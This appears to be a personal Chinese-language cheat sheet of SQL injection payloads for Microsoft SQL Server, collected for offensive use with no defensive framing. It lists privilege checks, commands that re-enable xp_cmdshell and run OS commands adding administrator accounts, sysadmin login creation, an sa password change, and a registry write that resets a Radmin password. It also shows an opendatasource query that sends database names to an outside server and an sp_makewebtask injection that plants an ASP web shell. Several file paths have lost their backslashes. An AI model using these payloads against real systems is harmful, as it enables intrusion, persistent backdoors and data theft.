我记性不好，所以把常用的注入代码记录下来，有点乱，但对我来说，还算很有用，希望大家也会喜欢！
//看看是什么权限的
and 1=(Select IS_MEMBER("db_owner"))
And char(124)%2BCast(IS_MEMBER("db_owner") as varchar(1))%2Bchar(124)=1 ;--
//检测是否有读取某数据库的权限
and 1= (Select HAS_DBACCESS("master"))
And char(124)%2BCast(HAS_DBACCESS("master") as varchar(1))%2Bchar(124)=1 --
数字类型
and char(124)%2Buser%2Bchar(124)=0
字符类型
" and char(124)%2Buser%2Bchar(124)=0 and ""="
搜索类型
" and char(124)%2Buser%2Bchar(124)=0 and "%"="
爆用户名
and user>0
" and user>0 and ""="
检测是否为SA权限
and 1=(select IS_SRVROLEMEMBER("sysadmin"));--
And char(124)%2BCast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))%2Bchar(124)=1 --
检测是不是MSSQL数据库
and exists (select * from sysobjects);--
检测是否支持多行
;declare @d int;--
恢复 xp_cmdshell
;exec master..dbo.sp_addextendedproc "xp_cmdshell","xplog70.dll";--
select * from openrowset("sqloledb","server=192.168.1.200,1433;uid=test;pwd=pafpaf","select @@version")
//-----------------------
// 执行命令
//-----------------------
首先开启沙盘模式：
exec master..xp_regwrite "HKEY_LOCAL_MACHINE","SOFTWAREMicrosoftJet4.0Engines","SandBoxMode","REG_DWORD",1
然后利用jet.oledb执行系统命令
select * from openrowset("microsoft.jet.oledb.4.0",";database=c:winntsystem32iasias.mdb","select shell("cmd.exe /c net user admin admin1234 /add")")
执行命令
;DECLARE @shell INT EXEC SP_OAcreate "wscript.shell",@shell OUTPUT EXEC SP_OAMETHOD @shell,"run",null, "C:WINNTsystem32cmd.exe /c net user paf pafpaf /add";--
EXEC [master].[dbo].[xp_cmdshell] "cmd /c md c:1111"
判断xp_cmdshell扩展存储过程是否存在：
http://192.168.1.5/display.asp?keyno=188 and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = "X" AND name = "xp_cmdshell")
写注册表
exec master..xp_regwrite "HKEY_LOCAL_MACHINE","SOFTWAREMicrosoftJet4.0Engines","SandBoxMode","REG_DWORD",1
REG_SZ
读注册表
exec master..xp_regread "HKEY_LOCAL_MACHINE","SOFTWAREMicrosoftWindows NTCurrentVersionWinlogon","Userinit"
读取目录内容
exec master..xp_dirtree "c:winntsystem32",1,1
数据库备份
backup database pubs to disk = "c:123.bak"
//爆出长度
And (Select char(124)%2BCast(Count(1) as varchar(8000))%2Bchar(124) From D99_Tmp)=0 ;--
更改sa口令方法：用sql综合利用工具连接后，执行命令：
exec sp_password NULL,"新密码","sa"
添加和删除一个SA权限的用户test：
exec master.dbo.sp_addlogin test,ptlove
exec master.dbo.sp_addsrvrolemember test,sysadmin
删除扩展存储过过程xp_cmdshell的语句:
exec sp_dropextendedproc "xp_cmdshell"
添加扩展存储过过程
EXEC [master]..sp_addextendedproc "xp_proxiedadata", "c:winntsystem32sqllog.dll"
GRANT exec On xp_proxiedadata TO public
停掉或激活某个服务。
exec master..xp_servicecontrol "stop","schedule"
exec master..xp_servicecontrol "start","schedule"
dbo.xp_subdirs
只列某个目录下的子目录。
xp_getfiledetails "C:InetpubwwwrootSQLInjectlogin.asp"
dbo.xp_makecab
将目标多个档案压缩到某个目标档案之内。
所有要压缩的档案都可以接在参数列的最后方，以逗号隔开。
dbo.xp_makecab
"c:test.cab","mszip",1,
"C:InetpubwwwrootSQLInjectlogin.asp",
"C:InetpubwwwrootSQLInjectsecurelogin.asp"
xp_terminate_process
停掉某个执行中的程序，但赋予的参数是 Process ID。
利用”工作管理员”，透过选单「检视」-「选择字段」勾选 pid，就可以看到每个执行程序的 Process ID
xp_terminate_process 2484
xp_unpackcab
解开压缩档。
xp_unpackcab "c:test.cab","c:temp",1
某机，安装了radmin，密码被修改了，regedit.exe不知道被删除了还是被改名了，net.exe不存在，没有办法使用regedit /e 导入注册文件，但是mssql是sa权限，使用如下命令 EXEC master.dbo.xp_regwrite "HKEY_LOCAL_MACHINE","SYSTEMRAdminv2.0ServerParameters","Parameter","REG_BINARY",0x02ba5e187e2589be6f80da0046aa7e3c 即可修改密码为12345678。如果要修改端口值 EXEC master.dbo.xp_regwrite "HKEY_LOCAL_MACHINE","SYSTEMRAdminv2.0ServerParameters","port","REG_BINARY",0xd20400 则端口值改为1234
create database lcx;
Create TABLE ku(name nvarchar(256) null);
Create TABLE biao(id int NULL,name nvarchar(256) null);
//得到数据库名
insert into opendatasource("sqloledb","server=211.39.145.163,1443;uid=test;pwd=pafpaf;database=lcx").lcx.dbo.ku select name from master.dbo.sysdatabases
//在Master中创建表，看看权限怎样
Create TABLE master..D_TEST(id nvarchar(4000) NULL,Data nvarchar(4000) NULL);--
用 sp_makewebtask直接在web目录里写入一句话马：
http://127.0.0.1/dblogin123.asp?username=123";exec%20sp_makewebtask%20"d:wwwtt88.asp","%20select%20""<%25execute(request("a"))%25>""%20";--
//更新表内容
Update films SET kind = "Dramatic" Where id = 123
//删除内容
delete from table_name where Stockid = 3